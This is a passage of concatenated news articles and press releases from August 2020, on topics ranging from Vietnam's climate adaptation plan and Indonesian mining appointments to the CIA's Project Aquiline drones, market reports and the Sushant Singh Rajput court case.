one year. Dr Thomas Otto from the Institute of Infection, Immunity and Inflammation at the University of Glasgow is a Co-investigator on the award. The work is in collaboration with College of Medicine (co-Is Dr. Steve Kamiza and Benjamin Kumwenda), the Blantyre malaria project, and an international group of collaborators (University of Manchester, University of Amsterdam, University of Washington). Enquiries: ali.howard@glasgow.ac.uk or elizabeth.mcmeekin@glasgow.ac.uk / 0141 330 6557 or 0141 330 4831 Head of the Ministry of Natural Resources and Environment's Climate Change Department Tang The Cuong talks about the national plan on climate change adaptation for 2021-30, with a vision towards 2050. Drought in the Mekong Delta province of Ben Tre. VNA/VNS Photo Will you please tell us how has the national plan on climate change response been implemented so far? The Resolution No 24 of the Vietnam Party Central Committee which was released on June 3, 2013 emphasises that the fight against natural calamity, particularly in the context of climate change, must be embedded in all Government policies, strategies and plans toward the goal of sustainable development and the use of the countrys natural resources while protecting the environment. The national plan for the period from 2021-30 and the vision towards 2050 has come up with specific objectives: to minimise the vulnerabilities and risks from the climate change impacts on the community, all economic entities while promoting the integration of climate change adaptability into the national strategy and plans. Can you give us some most important missions that will be carried out in the next few years? There are three groups of important missions and tasks that must be carried out in the course of implementing the Government Resolution No 93 which is in line with Paris Agreement on the climate change. They are as follows: First, to improve the adaptability of climate change into the national strategy and plans with specific missions and solutions. In particular, we need to focus on reviewing, updating and building new socio-economic development plans on the basis of climate change scenarios and assessment of climate change impacts; monitoring and evaluating these plans to improve the effectiveness of climate change adaptation; periodically updating climate change scenarios; establishing a national database and support tools for climate change policy management and planning. It's also important to work on mobilising and distributing financial resources for the task. Second, to strengthen the probability and adaptability of the whole community, including different economic sectors and the countrys ecosystem through the investment in adaptation actions, science and technology, and awareness raising activities. Third, to develop specific plans and measures to minimise the impacts of the climate change. This will include improving monitoring capacity on climate change and hydro-meteorological forecasting; communicating information about natural disasters and climate extremes; ensuring the safety of irrigation works; improving the natural disaster risk management system; focusing on community-based disaster management solutions; promoting local knowledge in disaster prevention; and dealing with post-disaster damages. How will the national plan on climate change adaptability be implemented in the 10 years from 2021-30 and the vision by 2050? Measures and solutions are divided each five year plan (from 2021-25; 2026-30) and the vision by 2050. In the 2021-25 period, Vietnam will focus on further completion of the policies on climate changes and then reflect these policies in the national strategy to respond to the natural calamity. In the 2026-25 period with lessons learned from the previous five years, Vietnam will make adjustments to improve the capacity of industries, sectors, communities and ecosystems to increase their resilience to climate change and the readiness to adapt to changes in climate. We will also work to improve the resilience of infrastructure systems, the ecosystems and biodiversity; and protect and conserve biodiversity from climate change impacts. Promoting adaptation actions that bring benefits in mitigating risks caused by climate change and efficiency in terms of economy, society and environment is also encouraged. In the period after 2030 to 2050, Vietnam will promote the results achieved in the 2021-30 period, further strengthening human capacity to adapt to climate change, infrastructure and natural systems. This aims at protecting and improving quality of life, ensuring food security, energy security, water security for a sustainable development in the context of climate change. Mobilising resources is important for the implementation of climate change adaptation activities. How will relevant agencies mobilise resources to implement the plan? Resources for the implementation of the plan are mobilised from different channels, complying with relevant laws and legal provisions. Sources of finance for adaptation activities can be mobilised from the State budget (including central and local budgets); international support; resources of businesses and community contributions. In particular, the State annually allocates funds from the central budget, local budgets and international support resources to implement, especially for the tasks of perfecting adaptive mechanisms and policies relating to climate change and implementing urgent investment projects. Resources for climate change adaptation tasks should be incorporated into strategic plans, programmes and projects of ministries, sectors and localities. There are a number of multilateral cooperation channels to support climate change adaptation actions that can be accessed, including the Global Environment Fund, the Adaptation Fund, which was established under the Kyoto Protocol of the UN Framework Convention on Climate Change, providing financial sources to climate adaptation and resilience activities; the Green Climate Fund which supports projects, programmes, policies and other activities on climate change adaptation and greenhouse gas emission reduction for developing countries. Vietnam can also access technical assistance provided by development banks and UN organisations on climate change, as well as support from non-governmental organisations for climate change adaptation at local level. At the same time, the State creates a legal basis and market tools to encourage and facilitate financial institutions, domestic and foreign enterprises to invest and support the implementation of the plan. VNS/VGP Vietnamese Government plan aims to improve adaptation to climate change Enhancing State management of climate change is one of the major measures in the national plan on climate change adaptation for 2021-2030, with a vision towards 2050, recently issued by Prime Minister Nguyen Xuan Phuc. WASHINGTON, Aug. 11, 2020 /PRNewswire/ -- Political discussion is very ubiquitous. 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But 60% of HR experts think that a political expression policy is necessary at the workplace to avoid any unnecessary conflicts at the workplace. The various industries have adopted the Best Employee Monitoring Software to help make their employees more focused and give up the activities that are not related to work. GoodFirms.co surveyed 126 employees & 40 HR experts worldwide to know their opinion on the implementation and effectiveness of political expression policy. GoodFirms is an outstanding B2B research, ratings, and reviews platform. It assists the service seekers in connecting them with the most excellent companies from various sectors of industries. The analyst team performs a profound assessment following numerous methodologies. It has three main crucial factors that are Quality, Reliability, and Ability. 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GoodFirms research is a confluence of new age consumer reference processes and conventional industry-wide review & rankings that help service seekers leap further and multiply their industry-wide value and credibility. Rachael Ray (360) 326-2243 [email protected] SOURCE GoodFirms Related Links https://www.goodfirms.co Close Get email notifications on {{subject}} daily! Your notification has been saved. There was a problem saving your notification. {{description}} Email notifications are only sent once a day, and only if there are new matching items. Share this article Whatsapp Facebook Twitter Linkedin Norman Harsono (The Jakarta Post) Jakarta Tue, August 11, 2020 11:08 526 6657ac82168da9fa101c8a4066d0dd1c 1 Business ESDM,Energy-Mineral-Resources-Ministry,mining,nickel,Coordinating-Maritime-and-Investment-Ministry Free The Energy and Mineral Resources Ministry has appointed Ridwan Djamaluddin as the ministrys number one man in regulating Indonesias mining industry. Energy minister Arifin Tasrif inaugurated the geologist-by-training on Monday as the ministrys new mining director general, an echelon one-level bureaucrat, which is a rank just below a minister. Arifin tasked Ridwan with implementing the recently released Coal and Mineral Mining Law that seeks to upheave Indonesias mining industry. The tasks include developing the downstream mining sector, raising state income, training mining inspectors and cutting bureaucratic red tape. And, in the near future, to immediately prepare the executive regulations for Mining Law No. 3/2020, said Arifin during a live broadcast of the inauguration ceremony, which was held at the ministry's headquarters in Jakarta. Read also: Explainer: New rules in revised Mining Law The government needs to issue at least 18 government regulations (PP) to implement the Mining Law. Minister Arifin appointed two other echelon one officials on Monday but Ridwans appointment was the most prominent, owing to his offices central role in shaping the domestic mining industry, which is a key pillar of Indonesias international trade. Eko Budi Lelono and Prahoro Yulijanto Nurtjahyo were also appointed as the new geology body head and human resources head on Monday, respectively. The formers predecessor has retired while the latters predecessor has picked up a teaching job at the Bandung Institute of Technology (ITB). Ekos work includes monitoring volcanic activity and mapping underground fresh water while Prahoros work includes training civil servants and issuing industry certifications. Ridwan told reporters after the inauguration ceremony that his office would focus this year on helping the government tackle COVID-19 and the economic recovery before fully executing the new Mining Law. He will also use the time to learn about his new job. Lets be safe first for this year. Indonesia can still survive under existing conditions, he said. Ridwan was formerly the deputy head of transportation and infrastructure at the Office of the Coordinating Maritime Affairs and Investment Minister, which oversees the energy ministry. He replaces Bambang Gatot Ariyono, who has retired after five-years of service. These [industry] issues are not easy, but neither are they difficult if we work together, said Bambang in his farewell speech, also on Monday. Read also: Indonesia sets price floor for nickel ore to protect small miners Two mining associations publicly congratulated Ridwan on his appointment last week, although it was not officially confirmed by the energy ministry until Monday. The associations are the Indonesian Nickel Mining Association (APNI) and the Indonesian Mining Experts Association (Perhapi), which partook in drafting the Mining Law. APNI the most vocal opposition to Indonesias ongoing nickel ore export ban was quick to lobby the new director general. The association issued a statement on Monday asking Ridwan to, first are foremost, enforce a price floor for domestically sold nickel ore. May you carry out your responsibilities and the hopes of all Indonesian miners, wrote APNI in a statement on Monday. Bohdan says those standing behind the arson attack, who he believes occupy certain high offices, should beware as they just "poured kerosene to the bonfire". Former head of the Ukrainian President's Office, Andriy Bohdan, had his Tesla set on fire at a parking lot overnight Tuesday, Kyiv police reported. Another two cars parked nearby were also damaged, the Kyiv PD report said, adding that a criminal investigation had been launched into the arson attack. Commenting on the incident via Facebook, Bohdan said he considered the attack a "threat" on the part of Ukrainian government. At the same time, he added he did not take the arson attack too personally since "this is just one element in a number of criminal cases targeting me and my friends, as well as tarring campaigns in media" Read alsoZelensky "concerned and upset" over torching of anti-graft activist's home (Photo) CCTV footage showed a hooded man placing a flammable object under Bogdan's car and igniting it before fleeing from scene, according to a video Bohdan uploaded on Facebook. Bohdan believes that whoever ordered the attack "has a certain criminal background and accomplices sitting in high government offices": However, he added, "my dear friends, crisis scenarios are my job. I'll translate for you: it was you who just poured kerosene into the bonfire". He added that he would ensure the attackers are punished. Andriy Bohdan background SANTA MONICA, CA The city of Santa Monica is joining forces with Cedars Sinai, local farmers and SEE/LA and Los Angeles County Supervisor Sheila Kuehl to provide free food for 1,500 residents in need Wednesday. "The event is open to all and Santa Monica residents who could benefit are encouraged to participate," the city announced. "There are no eligibility requirements. The event is strictly drive-up and recipients must wear face coverings and may not get out of their cars." The drive-up location at 3233 Donald Douglas Loop S, Santa Monica, is open from 9 a.m. to noon Wednesday at Santa Monica Airport Interim Open Space. Drivers can enter from Airport Avenue using Bundy Drive, just south of Ocean Park Boulevard. Ensuring our community members have access to food is a critical concern right now, said Lindsay Call, the Citys Emergency Operations Center Director, in a news release. We must continue to support our most vulnerable friends and neighbors, as we know so many are suffering the impacts of this health emergency. Santa Monica is honored to join partners in providing additional food resources and we hope our residents in need will participate on Wednesday. RELATED: Photos: Culver City Volunteers Feed Hundreds At Drive-Up Location Airport Avenue via 23rd Street and Walgrove Avenue will be for business access only. Airport Park parking lots will be closed to the public from 6 a.m. to 2 p.m. during the event. Expect increased traffic around the Santa Monica Airport, particularly around Bundy Drive at Airport Avenue, officials said. Cedars Sinai is supporting the food security efforts at the Virginia Avenue Park Emergency Food Pantry and contributes hundreds of produce boxes that are scheduled for distribution over the next several weeks. To learn more about how to access the weekly food pantry at VAP, call 424-410-1354 or 310-458-8688. Full coronavirus coverage: Coronavirus In California: What To Know Story continues Don't miss updates about the coronavirus in California as they are announced. Sign up for Patch news alerts and newsletters. See more: This article originally appeared on the Santa Monica Patch The global bio-based platform chemicals market size is expected to grow by USD 2.11 billion during 2020-2024. The report also provides the market impact and new opportunities created due to the COVID-19 pandemic. We expect the impact to be significant in the first quarter but gradually lessen in subsequent quarters with a limited impact on the full-year economic growth. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200810005590/en/ Technavio has announced its latest market research report titled Global Bio-based Platform Chemicals Market 2020-2024 (Graphic: Business Wire) Request challenges and opportunities influenced by COVID-19 pandemic Request a Free Sample Report on COVID-19 Impacts Crude oil is conventionally used as a carbon feedstock for producing chemicals. However, the fluctuations in crude oil prices affect the prices of the raw materials considerably, which in turn, affects the costs of platform chemicals. In 2010, the price of Brent crude oil was around USD 77 per barrel. However, the price increased by nearly 41% in 2012. The price of crude oil per barrel decreased in the subsequent years, and by nearly 60% in 2016. The volatile prices of raw materials directly impact the revenue and profit margins of manufacturers due to which they are compelled to seek alternative solutions to maintain their profit margins. Bio-based platform chemicals have emerged as an alternative to petroleum-based chemicals owing to the comparatively stable costs. Thus, the volatility in crude oil prices will drive the growth of the market during the forecast period. To learn more about the global trends impacting the future of market research, download a free sample: https://www.technavio.com/talk-to-us?report=IRTNTR44435 As per Technavio, the strict environmental regulations and policies will have a positive impact on the market and contribute to its growth significantly over the forecast period. This research report also analyzes other significant trends and market drivers that will influence market growth over 2020-2024. Bio-based Platform Chemicals Market: Strict Environmental Regulations And Policies The rise in energy prices and growing awareness regarding the hazardous effects of conventional energy sources has led governments to invest in other alternatives, such as bio-based fuels to meet the growing demand for energy. In addition, government initiatives towards sustainability are also fueling the demand for bio-based platform chemicals. The increased demand for sustainable products has encouraged chemical manufacturers to use bio-based raw materials to produce alcohols, polymers, and other products. Moreover, the imposition of stringent regulations by the European Commission and the federal government agencies are leading manufacturers toward achieving a green environment with minimum or zero harmful emissions. Bio-based platform chemicals manufacturers are playing a crucial role in these winning imperatives as they are adhering to these regulations to achieve sustainable growth. Thus, strict environmental regulations and policies will drive the growth of the market. "Other factors such as the increase in demand for biofuels, and the growing demand for paints and coatings, resins, and adhesives in the automotive segment will have a significant impact on the growth of the bio-based platform chemicals market value during the forecast period," says a senior analyst at Technavio. Register for a free trial today and gain instant access to 17,000+ market research reports Technavio's SUBSCRIPTION platform Bio-based Platform Chemicals Market: Segmentation Analysis This market research report segments the bio-based platform chemicals market by type (Bio-1 4 diacids, Bio-glycerol, Bio-glutamic acid, Bio-3-HPA, and Bio-itaconic acid) and geography (APAC, Europe, North America, MEA, and South America). The APAC region led the bio-based platform chemicals market share in 2019, followed by Europe, North America, MEA, and South America respectively. During the forecast period, the APAC region is expected to register the highest incremental growth due to factors such as the shift in consumer preference toward environment-friendly products and growing concerns around sustainability and effects of petroleum-based synthetic chemicals. Technavio's sample reports are free of charge and contain multiple sections of the report, such as the market size and forecast, drivers, challenges, trends, and more. Request a free sample report Some of the key topics covered in the report include: Market Drivers Market Challenges Market Trends Vendor Landscape Vendors covered Vendor classification Market positioning of vendors Competitive scenario About Technavio Technavio is a leading global technology research and advisory company. Their research and analysis focuses on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. View source version on businesswire.com: https://www.businesswire.com/news/home/20200810005590/en/ Contacts: Technavio Research Jesse Maida Media Marketing Executive US: +1 844 364 1100 UK: +44 203 893 3200 Email: media@technavio.com Website: www.technavio.com/ Investors are looking to Washington with hopeful eyes for a deal on a new stimulus package European stocks gained Tuesday following strong German economic data, while a Wall Street rally fizzled on renewed worries about a new US stimulus package. Confidence among investors in Germany soared to its highest level in almost 17 years in August, according to the ZEW institute's monthly barometer. "Hopes for a speedy economic recovery have continued to grow, but the assessment of the situation is improving only slowly," ZEW President Achim Wambach said. The DAX in Frankfurt rose 2.0 percent, while London and Paris also registered solid gains. US stocks were also higher most of the day, but tanked with less than an hour left in the trading session, after the US Senate's Republican leader Mitch McConnell poured cold water on prospects for a deal on a new pandemic aid bill. "And so another day has gone by with an impasse and they need to get together," McConnell said on Fox News. McConnell's comments raised doubts about wide expectations that Washington will eventually produce a big fiscal package, despite tensions between President Donald Trump and Democratic congressional leaders. But some analysts noted the market was due for a pullback. The comments were a "good excuse to tame the market as the S&P 500 came within 0.4 percent of its all-time high today," said Briefing.com. Quincy Krosby of Prudential said the course correction was sparked by McConnell's pessimism but added: "This is a lower volume market given the summer lull, and market reactions can move higher and lower more swiftly." Russia's announcement that it had approved a coronavirus vaccine helped fuel the optimistic mood across trading floors for a while, analysts reported, but its impact faded as authorities in other countries greeted the news with skepticism. In Asia, shares in Next Digital, the media company owned by Hong Kong tycoon Jimmy Lai who was arrested under a Chinese security law, surged 668 percent at one point thanks to pro-democracy activists buying it. Story continues Lai was released on bail late Tuesday. - Key figures around 2045 GMT - New York - Dow: DOWN 0.4 percent at 27,686.91 (close) New York - S&P 500: DOWN 0.8 percent at 3,333.69 (close) New York - Nasdaq: DOWN 1.7 percent at 10,782.82 (close) London - FTSE 100: UP 1.7 percent at 6,154.34 (close) Frankfurt - DAX 30: UP 2.0 percent at 12,946.89 (close) Paris - CAC 40: UP 2.4 percent at 5,027.99 (close) EURO STOXX 50: UP 2.2 percent at 3,332.12 (close) Tokyo: Nikkei 225: UP 1.9 percent at 22,750.24 (close) Hong Kong: Hang Seng: UP 2.1 percent at 24,890.68 (close) Shanghai: Composite: DOWN 1.2 percent at 3,340.29 (close) Euro/dollar: DOWN at $1.1734 from $1.1738 at 2100 GMT Monday Dollar/yen: UP at 106.50 yen from 105.96 yen Pound/dollar: DOWN at $1.3047 from $1.3073 Euro/pound: UP at 89.94 pence from 89.79 West Texas Intermediate: DOWN 0.8 percent at $41.61 per barrel Brent North Sea crude: DOWN 1.1 percent at $44.50 per barrel burs-jmb/sst Deputy Information Minister, Pius Enam Hadzide says John Dramani Mahama's quest to be President again has compelled him to become a serial liar. According to him, his recent allegation of the Nana Addo-led government attempt to sell off 66% of the Ghana Airports Company to a foreign partner is the biggest lie ever to be told by a former President. He knows for sure that what he is saying is not true. Such allegation shouldnt come from him [Mahama]. This is a work of NDC serial callers, not a former President, he said in an interview with NEAT FMs morning show Ghana Montie. John Mahama condemns 66% sale of Kotoka Airport to a private firm Speaking in an interview on Woezor TV, John Mahama noted that with airports being the pride of most countries, governments decision to hand over more than 50% of the aviation company to a Turkish company, TAM-SUMMA Consortium is not prudent and must be stopped. He claimed that the countrys premier airport was valued at more than GH5 billion while boasting that the Kotoka International Airport (KIA) was among the five best airports in Africa under his tenure. When we were in office, a valuation study of the Kotoka Airport was done and it was valued at over GH 5 billion. It also had an insured value in the region of GH3 to GH4 billion because a lot of money had been invested in the airport and it had become one of the five best airports in Africa, he said Bemoaning the partnership, he described the move by government as strange to cede a chunk of the airport to the Turkish company in exchange for US$70 million. [Now we are seeing] a strange development where a Turkish company is being given the airport; to take over the airport and run it. For US$70 million we are giving 66% of the airport to a Turkish company. We are against it. It is wrong, Mahama noted False allegation Pius Hadzide however rubbished Mahamas claims and insisted what he [Mahama] is saying is never true. He cannot justify this claim. Kotoka International Airport is 'not for sale' - Ghana Airports to Mahama Ghana Airports Company Limited (GACL) also in a statement has reiterated its earlier explanation that the Kotoka International Airport is "not for sale or being privatised" as alleged by former President John Dramani Mahama. "An unsolicited proposal has been received from a Turkish Consortium which is yet to be considered. It is rather unfortunate that certain figures from the proposal are being used to peddle untruths," the GACL said in a statement in reaction a claim made by former President John Dramani Mahama in a television interview with Woezor. Source: King Edward Ambrose Washman Addo/Peacefmonline.com/Ghana Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Newly declassified CIA documents reveal that the United States planned to develop a fleet of bird-like drones in Area 51 that would be capable of spying on the Soviet Union at the height of the Cold War. Code-named Project Aquiline, the nuclear-powered drones were designed to stay in flight for up to 30 days at a time and would have been the nation's first uncrewed intelligence collection platform. The plans for the 12 drones, which would have acted as robotic spy planes and couriers for secret payloads, never came to fruition, according to the recently unsealed documents. It is not known why the plan was abandoned. Project Aquiline aimed to create nuclear-powered drones that could fly for up to 30 days at a time to spy on the Soviet Union in the late 1960s and were aimed to look like birds Aquiline became the first to test the concept of an unmanned aircraft or drone using research on birds to try to develop a machine that would go unnoticed in enemy skies The drones began to be developed by the CIA in late 1968, the files state, as part of plans to improve collection of information on the capabilities and intentions of U.S. adversaries. Throughout this decade, the intelligence agency previously relied on the OXCART Program which produced the A-12 reconnaissance aircraft, and use of U-2 Dragon Lady spy planes. The planes are still regarded as a great leap in spy technology and broke speed and operating altitude records. Yet while successful and able to outrun and outfox enemy air defenses, these planes also carried significant risks and repercussions, including detection and even pilot loss. In 1960, a U-2 flown by Francis Gary Powers had been shot down. To avoid the risks, the CIA began to develop a new program that would work to develop unmanned aerial vehicles (UAVs) as collection platforms. Aquiline became the first to test the concept using research on birds to try to develop a drone that would go unnoticed in enemy skies. 'Based initially on the study of flight characteristics of birds, Aquiline was envisioned as a long-range vehicle that could safely and stealthily provide a window into denied areas such as the Soviet Union through photography and other capabilities, and would even support in-place agent operations,' the CIA states. 'While it never became operational, the concept proved invaluable as a forerunner to today's multi-capability UAVs.' According to the documents, the mission of Aquiline was to 'develop, attain, and maintain an operational capability to conduct covert reconnaissance in denied areas'. The CIA said they were 'invaluable as a forerunner' to today's technology The agency-funded research and development program would 'develop small bird like craft equipped with [redacted] devices for the collection of intelligence by clandestine penetration of denied areas'. The main contractor employed for the program was aviation defense contractor McDonnell Douglas, known for more glamorous fighter jets, and some of the work took place in their Huntington Beach headquarters. Flights were supplied between the headquarters and the main production base in Area 51. The twelve drones would be designed to be as close to bird-size as was possible, which at the time meant it would be five feet long, 7.5 feet wide, and have a takeoff weight of 83 pounds. It was hoped that that the small size would cause radars and human lookouts to mistake the vehicle for an actual bird. The recently released 1960s documents about the project The documents claimed the drones would be 'small, bird-like surreptitious vehicle with sufficiently small acoustic, visible, and radar cross section to permit it to operate in the natural physical signal environment of living birds'. The drone would have a speed of 47 to 80 knots and an endurance of 50 hours and 1,200 miles, with a silent 3.5-horsepower, four-cycle engine. The CIA also hoped the endurance could be boosted with the aid of nuclear power, using technology previously employed in deep space probes to give the drone life for up to 30 days and 3,600 miles at a time. It was proposed that the aircraft would convert waste heat from decaying isotopes (like plutonium) into electricity, allowing it to go on longer missions. The smaller size of the aircraft, when compared the the spy places, would allow it to fly closer to the ground, and grant it the ability to take high resolution photographs and make recordings of stronger electromagnetic signals. The vehicles were also designed with the capability to drop off sensors to areas the US could not otherwise reach for further intelligence collection. The CIA document from 1971 outlining the phasing out of the program Crews would control the drones from the ground, working from states along the borders with the Soviet Union and China such as Taiwan, Turkey, and Norway. It would also be tracked by a U-2R reconnaissance plane, which would fly nearby and receive data the drone beamed to it. The nearby plane was crucial to allow the size of the drones to remain small as they would then not need their own data storage devices. At the time, data storage involved large, bulky methods consisting of punch cards, tape, or extremely large hard disk drives. The secretive program began to develop the aircraft in Area 51 with personnel recruited two years ahead of time to ensure that there was time for them all to pass through the lengthy and extensive security checks. Engineers were flown to and from the mysterious base and information was doled out in a strictly 'need-to-know' basis. According to a document dated September 20, 1971, the project needed aircraft to transport up to 3,500 pounds of cargo, and between five and 20 passengers, between Long Beach and Area 51 on virtually a weekly basis. While it is not certain why the program did not eventually go ahead, Popular Mechanics reports that it may have been next to impossible given the technology available at the time. The highly complex program was also reliant on the Russians and Chinese not identifying what the drones truly were and plans could easily have fallen apart if they could not be fooled. One of the documents states that the phaseout of the program began in November 1971. On Tuesday afternoon (August 11), three-year-old pacing colt Allywag Hanover was victorious during statebred action, as the third leg of the Pennsylvania Sire Stakes for the 'glamour boy' division was contested at The Downs at Mohegan Sun Pocono. Allywag Hanover, by Captaintreacherous, paced to a 1:49.1 win in his Tuesday assignment. The Brett Pelling trainee flashed gate speed early in his mile, which he hasn't displayed in his races this season. Allywag Hanover controlled the tempo for driver Tim Tetrick and stepped home in :53.4 and he needed to. No Lou Zing, who put forth a pair of moves in the mile, came gunning for Allywag Hanover late, but ended up just a length short when all was said and done. With the victory, Allywag Hanover pushed his seasonal scorecard to 4-1-1 from six starts and increased his lifetime earnings $189,903. The bay colt is owned by the Allywag Stable. Sandbetweenmytoes, a Somebeachsomewhere gelding trained by Jim Campbell for Fashion Farms LLC, produced an eye-catching win in his Tuesday tilt. With Dexter Dunn calling the shots, Sandbetweenmytoes came first-over against the highly regarded pacesetter The Greek Freak. Sandbetweenmytoes would go on to pace his own last half in :53 despite no cover. He drew off to a five-length victory while lowering his record to 1:49 and raising his lifetime earnings to $112,878. In the other PASS split, Somebeachsomewhere colt Cattlewash produced his best mile of the current campaign while lowering his mark to 1:50.1. David Miller sent the Ron Burke trainee to the front, and they withstood a late charge from Barrage Hanover to score by three quarters of a length for owner W J Donovan. There were also five divisions of the complementary Stallion Series contested during the card, and Seriously Hanover (1:51.1), JK Lucky Charms (1:50.4), Revolt (1:51.4), Sunuma Beach (1:51.2), and Ruthless Hanover (1:51). (With files from PHHA/Pocono) ABC/Paula LoboFollowing the cancellation of Strahan, Sara & Keke due to the COVID-19 pandemic, Keke Palmer is already working on her return to daytime television. The 26-year-old proposed her idea of a new talk show on Monday, asking her nearly two million followers, "If I were to create a [sic] millnnial 'The View', who would you want to be my co-hosts?" Of course, fans were quick to nominate stars like Zendaya and Cole Sprouse while others threw their name into the ring. In addition to looking toward the future, Palmer also took a look at the past by showing fans some never-before-seen footage of her pilot Keke & Jamal that was shopped to the Disney Channel roughly 15 years ago. She posted the opening credits along with two clips featuring her, her on-screen brother Andre Jamal Kinney and pre-High School Musical Vanessa Hudgens. While the show ultimately wasn't picked up, Palmer said that was the opportunity that truly opened the door for her. "When I first moved to California I was introduced to Ralph Farquhar (one of the creators of The Proud Family, Moesha, The Parkers etc) he took a chance on me and he landed me this pilot with Disney Channel that didnt get picked up called Keke & Jamal," The Hustlers star explained in the caption before providing a synopsis of the show. "It was loosely based on my life. A little girl named Keke with big dreams of being an entertainer and her tight nit family," she continued, adding that she was 10-years-old when she shot the pilot on the old set of That's So Raven. "True dream come true for me and like a fairytale," Palmer concluded. "I hope it makes you laugh like it has [made] me hahaha whew." By Megan Stone Copyright 2020, ABC Audio. All rights reserved. Sushant Singh Rajput Death Anniversary: A Timeline of the of events that have transpired so far Sushant Singh Rajput case: Please ensure when CBI goes to Maharashtra, officers are not quarantined India oi-Vicky Nanjappa New Delhi, Aug 11: The FIR was was not registered in the case in Mumbai due to political pressure, the counsel arguing for the Bihar government in the Sushant Singh case has alleged. The court is hearing a plea filed Rhea Chakraborty seeking transfer of an FIR lodged by Sushant's father K K Singh against her from Patna to Mumbai. Appearing for the Bihar government, senior advocate, Maninder Singh said that the Mumbai Police did not cooperate with the Bihar cops when they were in the city to investigate. Representing Sushant Singh's father, Vikas Singh said that the Mumbai Police was not doing anything in the case. They are still not doing anything in the case and they talk about political pressure, Singh also told the court. Sushant Singh Rajput case: Mumbai police opposes CBI probe in SC Shyam Divan appearing for Rhea argued that the Patna Police had no jurisdiction to investigate the case. The correct procedure was to transfer the case to Mumbai. Appearing for the Maharashtra government, senior advocate, Abhishek Manu Singhvi said that the kind of sensationalism here is amazing. Every reporter, anchor, lawyer has turned judge, jury and executioner. I do not know whether it was a murder or suicide, but the CRPC here is being murdered, he also said. Independence Day: Indian flag to unfurl at Times Square & more news | Oneindia News Law and order is exclusively within State competence. Victims, accused do not decide on who or where the cases will be investigated, he said, Singhvi further argued. ED questions Sushant Singh Rajput's roommate Siddharth Pithani, business manager Shruti Modi Singh told the Court that there is a delay in this case. If more time passes, evidence will be destroyed. He also said to do complete justice, the SC can pass any order. Please ensure that when the CBI goes to Maharashtra, they will not impose quarantine on the officers, Singh also said. The matter will be taken up next on August 13. The owner of a Seattle auto repair shop located near the city's 'Capitol Hill Autonomous Zone' has claimed he is being harassed for being a 'snitch' after calling the police when his business was robbed during a protest in June. John McDermott, the owner of Car Tender, said he and his employees have been subjected to a slew of harassing messages and phone calls after he was exposed as a 'cop caller' on CopBlaster.com. The website reports on cases of police brutality, while also naming and shaming 'bad judges' and 'snitches', such as those who call the police on protesters. In an interview with the New York Times this week, McDermott said his photo and business address were featured on the website after he complained to a local news station that police never responded to the robbery at his shop. McDermott told King5 he called 911 on June 14 after receiving a phone call from a neighbor saying someone was trying to break into his store, which was located just outside the controversial 'CHOP.' Scroll down for video John McDermott, the owner of Car Tender in Seattle, claimed police officers never showed up after he called to report a burglary at his auto repair shop during the CHOP protests in June The business owner was later identified as a 'snitch' on Cop Blaster.com, a website that reports on cases of police brutality as well as 'cop callers' The so-called 'police-free state' had been established on June 8, following days of protests and unrest triggered by the death of George Floyd in Minneapolis. It later became the site of multiple shootings, some of which were fatal, and clashes with police before the area was finally cleared out on July 1. McDermott had told the news station a protester had allegedly gained entry into his shop and had stolen money from the cash register before proceeding to light the building on fire. He and his son Mason immediately drove to the facility and put the fire out, and detained the suspect as they waited for cops to arrive. Video footage of the incident, which was livestreamed on social media, showed a mob of protesters later got a hold of the man after accusing the McDermotts of trying to kidnap him. 'They started coming across the fence - you see all these beautiful kids, a mob but kids - and they have guns and are pointing them at you and telling you they're going to kill you,' McDermott told the NYT. 'Telling me I'm the KKK, I'm not the KKK,' he added. Despite dispatchers telling McDermott that police officers were on their way, no one ever showed up to the scene and the man was eventually let go, he said. Video footage of the incident, which was livestreamed on social media, showed a mob of people detaining the suspect as McDermott waited for cops to arrive McDermott (pictured during the livestream of the incident) said he was accused of kidnapping the man who allegedly targeted his shop 'There were no police officers on scene ever. And I was here all night long,' McDermott told the news station at the time. Following the incident, McDermott and his son were identified as 'snitches' on Cop Blaster, which claimed the two had unreasonably held the man against his will. 'The McDermotts have since been all over the airways complaining about the police not responding to their calls. They should keep their mouths shut,' the Cop Blaster post stated. 'Such talk could be cited by the police as an excuse to attack demonstrators should they decide to start operating in that area again. 'Car Tender obviously has sufficient security to handle their own problems. They should just let security handle it rather than ratting people out.' McDermott said he had called the police after his shop (pictured) was broken into during a protest near the CHOP on June 14, but cops never arrived The website also claimed that the suspect most likely 'learned his lesson and won't go back there' and that 'ruining his life by turning him in to the cops is not necessary'. McDermott told the New York Times they have received many harassing messages and phone calls to the store ever since, and that some employees have even had to take time off because of it. Cop Blaster responded to the report on Sunday, defending its article saying it was 'absolutely 100% accurate to the best of our knowledge'. 'The New York Times claims that Car Tender has received countless harassing phone calls since our post went up. That is news to us because we have never called them, never asked anyone else to call them, and we don't even know their phone number,' they said. 'If you are reading this and have been harassing them please stop.' It comes days after a Cuban restaurant owner in Louisville, Kentucky slammed Black Lives Matter activists for sending him and other small business owners a list of diversity demands that they were told to meet or risk repercussions during a protest on July 24. Fernando Martinez, a restaurant owner in Louisville, and other members of the Cuban community last week protesting against the BLM list of demands Fernando Martinez, who owns La Bodeguita de Mima, claimed that one of the activists warned him: 'You better put the letter on the door so your business is not f*cked with'. For the next two days after the protest, he claims he kept his restaurant closed because staff feared for their safety. It meant that more than 30 staff members were not able to earn a paycheck. He took to Facebook to accuse them of 'mafia tactics' and said that while he respects the movement and wants to support it, it's unfair for his business and safety to be threatened. The letter demanded that businesses employ at least 23 percent black staff, bought at least 23 percent of their inventory from black retailers or make a recurring donation of 1.5 percent of their net sales to a local black charity, and that they should display a sign showing their support for the movement. It also listed a series of 'repercussions' if the businesses didn't comply which included a boycott, social media shaming, and an 'invasive reclamation' whereby black owned businesses with competing goods of services would set up 'booths and tables' outside the store fronts. The Staunton Innovation Hub is a co-working space in the heart of Staunton, Virginia's historic district designed to reduce barriers to innovation and help small entrepreneurial businesses succeed. The project is part of 